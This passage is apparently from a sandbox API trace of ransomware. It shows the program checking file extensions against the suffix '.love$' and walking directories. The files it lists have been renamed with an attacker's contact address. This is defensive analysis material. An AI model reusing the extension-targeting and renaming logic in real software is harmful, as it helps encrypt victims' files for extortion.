(lpString1=".nrw", lpString2="ove$") returned -1 [0223.185] lstrlenW (lpString=".obj") returned 4 [0223.185] lstrcmpiW (lpString1=".obj", lpString2="ove$") returned -1 [0223.185] lstrlenW (lpString=".odb") returned 4 [0223.185] lstrcmpiW (lpString1=".odb", lpString2="ove$") returned -1 [0223.185] lstrlenW (lpString=".odc") returned 4 [0223.185] lstrcmpiW (lpString1=".odc", lpString2="ove$") returned -1 [0223.185] lstrlenW (lpString=".odm") returned 4 [0223.185] lstrcmpiW (lpString1=".odm", lpString2="ove$") returned -1 [0223.185] lstrlenW (lpString=".odp") returned 4 [0223.185] lstrcmpiW (lpString1=".odp", lpString2="ove$") returned -1 [0223.185] lstrlenW (lpString=".ods") returned 4 [0223.185] lstrcmpiW (lpString1=".ods", lpString2="ove$") returned -1 [0223.185] lstrlenW (lpString=".oft") returned 4 [0223.185] lstrcmpiW (lpString1=".oft", lpString2="ove$") returned -1 [0223.185] lstrlenW (lpString=".one") returned 4 [0223.185] lstrcmpiW (lpString1=".one", lpString2="ove$") returned -1 [0223.185] lstrlenW (lpString=".onepkg") returned 7 [0223.185] lstrcmpiW (lpString1=".onepkg", lpString2="].love$") returned -1 [0223.185] lstrlenW (lpString=".onetoc2") returned 8 [0223.185] lstrcmpiW (lpString1=".onetoc2", lpString2="m].love$") returned -1 [0223.185] lstrlenW (lpString=".opt") returned 4 [0223.185] lstrcmpiW (lpString1=".opt", lpString2="ove$") returned -1 [0223.185] lstrlenW (lpString=".oqy") returned 4 [0223.185] lstrcmpiW (lpString1=".oqy", lpString2="ove$") returned -1 [0223.185] lstrlenW (lpString=".orf") returned 4 [0223.185] lstrcmpiW (lpString1=".orf", lpString2="ove$") returned -1 [0223.185] lstrlenW (lpString=".p12") returned 4 [0223.185] lstrcmpiW (lpString1=".p12", lpString2="ove$") returned -1 [0223.185] lstrlenW (lpString=".p7b") returned 4 [0223.185] lstrcmpiW (lpString1=".p7b", lpString2="ove$") returned -1 [0223.185] lstrlenW (lpString=".p7c") returned 4 [0223.185] lstrcmpiW (lpString1=".p7c", lpString2="ove$") returned -1 [0223.186] lstrlenW (lpString=".pam") returned 4 [0223.186] lstrcmpiW (lpString1=".pam", lpString2="ove$") returned -1 [0223.186] lstrlenW (lpString=".pbm") returned 4 [0223.186] lstrcmpiW (lpString1=".pbm", lpString2="ove$") returned -1 [0223.186] lstrlenW (lpString=".pct") returned 4 [0223.186] lstrcmpiW (lpString1=".pct", lpString2="ove$") returned -1 [0223.186] lstrlenW (lpString=".pcx") returned 4 [0223.186] lstrcmpiW (lpString1=".pcx", lpString2="ove$") returned -1 [0223.186] lstrlenW (lpString=".pdd") returned 4 [0223.186] lstrcmpiW (lpString1=".pdd", lpString2="ove$") returned -1 [0223.186] lstrlenW (lpString=".pdf") returned 4 [0223.186] lstrcmpiW (lpString1=".pdf", lpString2="ove$") returned -1 [0223.186] lstrlenW (lpString=".pdp") returned 4 [0223.186] lstrcmpiW (lpString1=".pdp", lpString2="ove$") returned -1 [0223.186] lstrlenW (lpString=".pef") returned 4 [0223.186] lstrcmpiW (lpString1=".pef", lpString2="ove$") returned -1 [0223.186] lstrlenW (lpString=".pem") returned 4 [0223.186] lstrcmpiW (lpString1=".pem", lpString2="ove$") returned -1 [0223.282] lstrlenW (lpString=".pff") returned 4 [0223.282] lstrcmpiW (lpString1=".pff", lpString2="ove$") returned -1 [0223.282] lstrlenW (lpString=".pfm") returned 4 [0223.282] lstrcmpiW (lpString1=".pfm", lpString2="ove$") returned -1 [0223.282] lstrlenW (lpString=".pfx") returned 4 [0223.282] lstrcmpiW (lpString1=".pfx", lpString2="ove$") returned -1 [0223.282] lstrlenW (lpString=".pgm") returned 4 [0223.282] lstrcmpiW (lpString1=".pgm", lpString2="ove$") returned -1 [0223.282] lstrlenW (lpString=".php") returned 4 [0223.282] lstrcmpiW (lpString1=".php", lpString2="ove$") returned -1 [0223.282] lstrlenW (lpString=".php3") returned 5 [0223.282] lstrcmpiW (lpString1=".php3", lpString2="love$") returned -1 [0223.282] lstrlenW (lpString=".php4") returned 5 [0223.282] lstrcmpiW (lpString1=".php4", lpString2="love$") returned -1 [0223.282] lstrlenW (lpString=".php5") returned 5 [0223.282] lstrcmpiW (lpString1=".php5", lpString2="love$") returned -1 [0223.282] lstrlenW (lpString=".phtml") returned 6 [0223.282] lstrcmpiW (lpString1=".phtml", lpString2=".love$") returned 1 [0223.283] lstrlenW (lpString=".pict") returned 5 [0223.283] lstrcmpiW (lpString1=".pict", lpString2="love$") returned -1 [0223.283] lstrlenW (lpString=".pl") returned 3 [0223.283] lstrcmpiW (lpString1=".pl", lpString2="ve$") returned -1 [0223.283] lstrlenW (lpString=".pls") returned 4 [0223.283] lstrcmpiW (lpString1=".pls", lpString2="ove$") returned -1 [0223.283] lstrlenW (lpString=".pm") returned 3 [0223.283] lstrcmpiW (lpString1=".pm", lpString2="ve$") returned -1 [0223.283] lstrlenW (lpString=".png") returned 4 [0223.283] lstrcmpiW (lpString1=".png", lpString2="ove$") returned -1 [0223.283] lstrlenW (lpString=".pnm") returned 4 [0223.283] lstrcmpiW (lpString1=".pnm", lpString2="ove$") returned -1 [0223.283] lstrlenW (lpString=".pot") returned 4 [0223.283] lstrcmpiW (lpString1=".pot", lpString2="ove$") returned -1 [0223.283] lstrlenW (lpString=".potm") returned 5 [0223.283] lstrcmpiW (lpString1=".potm", lpString2="love$") returned -1 [0223.283] lstrlenW (lpString=".potx") returned 5 [0223.283] lstrcmpiW (lpString1=".potx", lpString2="love$") returned -1 [0223.283] lstrlenW (lpString=".ppa") returned 4 [0223.283] lstrcmpiW (lpString1=".ppa", lpString2="ove$") returned -1 [0223.283] lstrlenW (lpString=".ppam") returned 5 [0223.283] lstrcmpiW (lpString1=".ppam", lpString2="love$") returned -1 [0223.283] lstrlenW (lpString=".ppm") returned 4 [0223.283] lstrcmpiW (lpString1=".ppm", lpString2="ove$") returned -1 [0223.283] lstrlenW (lpString=".pps") returned 4 [0223.283] lstrcmpiW (lpString1=".pps", lpString2="ove$") returned -1 [0223.283] lstrlenW (lpString=".ppsm") returned 5 [0223.283] lstrcmpiW (lpString1=".ppsm", lpString2="love$") returned -1 [0223.283] lstrlenW (lpString=".ppt") returned 4 [0223.283] lstrcmpiW (lpString1=".ppt", lpString2="ove$") returned -1 [0223.283] lstrlenW (lpString=".pptm") returned 5 [0223.283] lstrcmpiW (lpString1=".pptm", lpString2="love$") returned -1 [0223.284] lstrlenW (lpString=".pptx") returned 5 [0223.284] lstrcmpiW (lpString1=".pptx", lpString2="love$") returned -1 [0223.284] lstrlenW (lpString=".prn") returned 4 [0223.284] lstrcmpiW (lpString1=".prn", lpString2="ove$") returned -1 [0223.284] lstrlenW (lpString=".ps") returned 3 [0223.284] lstrcmpiW (lpString1=".ps", lpString2="ve$") returned -1 [0223.284] lstrlenW (lpString=".psb") returned 4 [0223.284] lstrcmpiW (lpString1=".psb", lpString2="ove$") returned -1 [0223.284] lstrlenW (lpString=".psd") returned 4 [0223.284] lstrcmpiW (lpString1=".psd", lpString2="ove$") returned -1 [0223.284] lstrlenW (lpString=".pst") returned 4 [0223.284] lstrcmpiW (lpString1=".pst", lpString2="ove$") returned -1 [0223.284] lstrlenW (lpString=".ptx") returned 4 [0223.284] lstrcmpiW (lpString1=".ptx", lpString2="ove$") returned -1 [0223.284] lstrlenW (lpString=".pub") returned 4 [0223.284] lstrcmpiW (lpString1=".pub", lpString2="ove$") returned -1 [0223.284] lstrlenW (lpString=".pwm") returned 4 [0223.284] lstrcmpiW (lpString1=".pwm", lpString2="ove$") returned -1 [0223.284] lstrlenW (lpString=".pxr") returned 4 [0223.284] lstrcmpiW (lpString1=".pxr", lpString2="ove$") returned -1 [0223.284] lstrlenW (lpString=".py") returned 3 [0223.284] lstrcmpiW (lpString1=".py", lpString2="ve$") returned -1 [0223.284] lstrlenW (lpString=".qt") returned 3 [0223.284] lstrcmpiW (lpString1=".qt", lpString2="ve$") returned -1 [0223.284] lstrlenW (lpString=".r3d") returned 4 [0223.284] lstrcmpiW (lpString1=".r3d", lpString2="ove$") returned -1 [0223.284] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7f96d0b, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7f96d0b, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7fbcea8, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x10b86, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.284] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa750251a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa750251a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7659958, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.285] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa750251a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa750251a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7659958, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.285] FindClose (in: hFindFile=0x6d0348 | out: hFindFile=0x6d0348) returned 1 [0223.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.286] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa767fccb, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa767fccb, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="1042", cAlternateFileName="")) returned 1 [0223.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.286] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa767fccb, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa767fccb, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6d0488 [0223.287] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa767fccb, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa767fccb, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.287] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa915248d, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa915248d, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9400e9c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3274, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.287] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa839cb89, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa839cb89, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa839cb89, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xffd6, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.287] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa754e8ca, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa754e8ca, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa767fccb, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.287] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa754e8ca, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa754e8ca, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa767fccb, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.287] FindClose (in: hFindFile=0x6d0488 | out: hFindFile=0x6d0488) returned 1 [0223.288] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.288] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7ca06b6, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7ca06b6, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="1043", cAlternateFileName="")) returned 1 [0223.288] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.288] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7ca06b6, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7ca06b6, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6d01c8 [0223.289] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7ca06b6, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7ca06b6, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.289] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa839cb89, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa839cb89, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa83c2db4, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.289] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa83c2db4, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa83c2db4, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa83e90d0, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x13816, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.289] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7c75b66, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7c75b66, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7ca06b6, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.289] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7c75b66, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7c75b66, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7ca06b6, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.290] FindClose (in: hFindFile=0x6d01c8 | out: hFindFile=0x6d01c8) returned 1 [0223.290] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.290] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7fe305a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7fe305a, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="1044", cAlternateFileName="")) returned 1 [0223.290] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.291] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7fe305a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7fe305a, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6d03c8 [0223.291] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7fe305a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7fe305a, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.291] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa83e90d0, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa83e90d0, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa841349a, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xcd4, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.292] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa83e90d0, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa83e90d0, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa87c8c4c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x136c6, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.292] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7cc203c, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7cc203c, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7cc203c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.292] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7cc203c, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7cc203c, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7cc203c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.292] FindClose (in: hFindFile=0x6d03c8 | out: hFindFile=0x6d03c8) returned 1 [0223.293] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.293] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7da6e3d, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7da6e3d, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="1045", cAlternateFileName="")) returned 1 [0223.293] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.293] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7da6e3d, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7da6e3d, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6d03c8 [0223.293] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7da6e3d, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7da6e3d, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.293] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa841349a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa841349a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa84819f7, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.294] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9342325, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9342325, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9368840, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x142c6, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.294] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7da6e3d, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7da6e3d, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7da6e3d, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 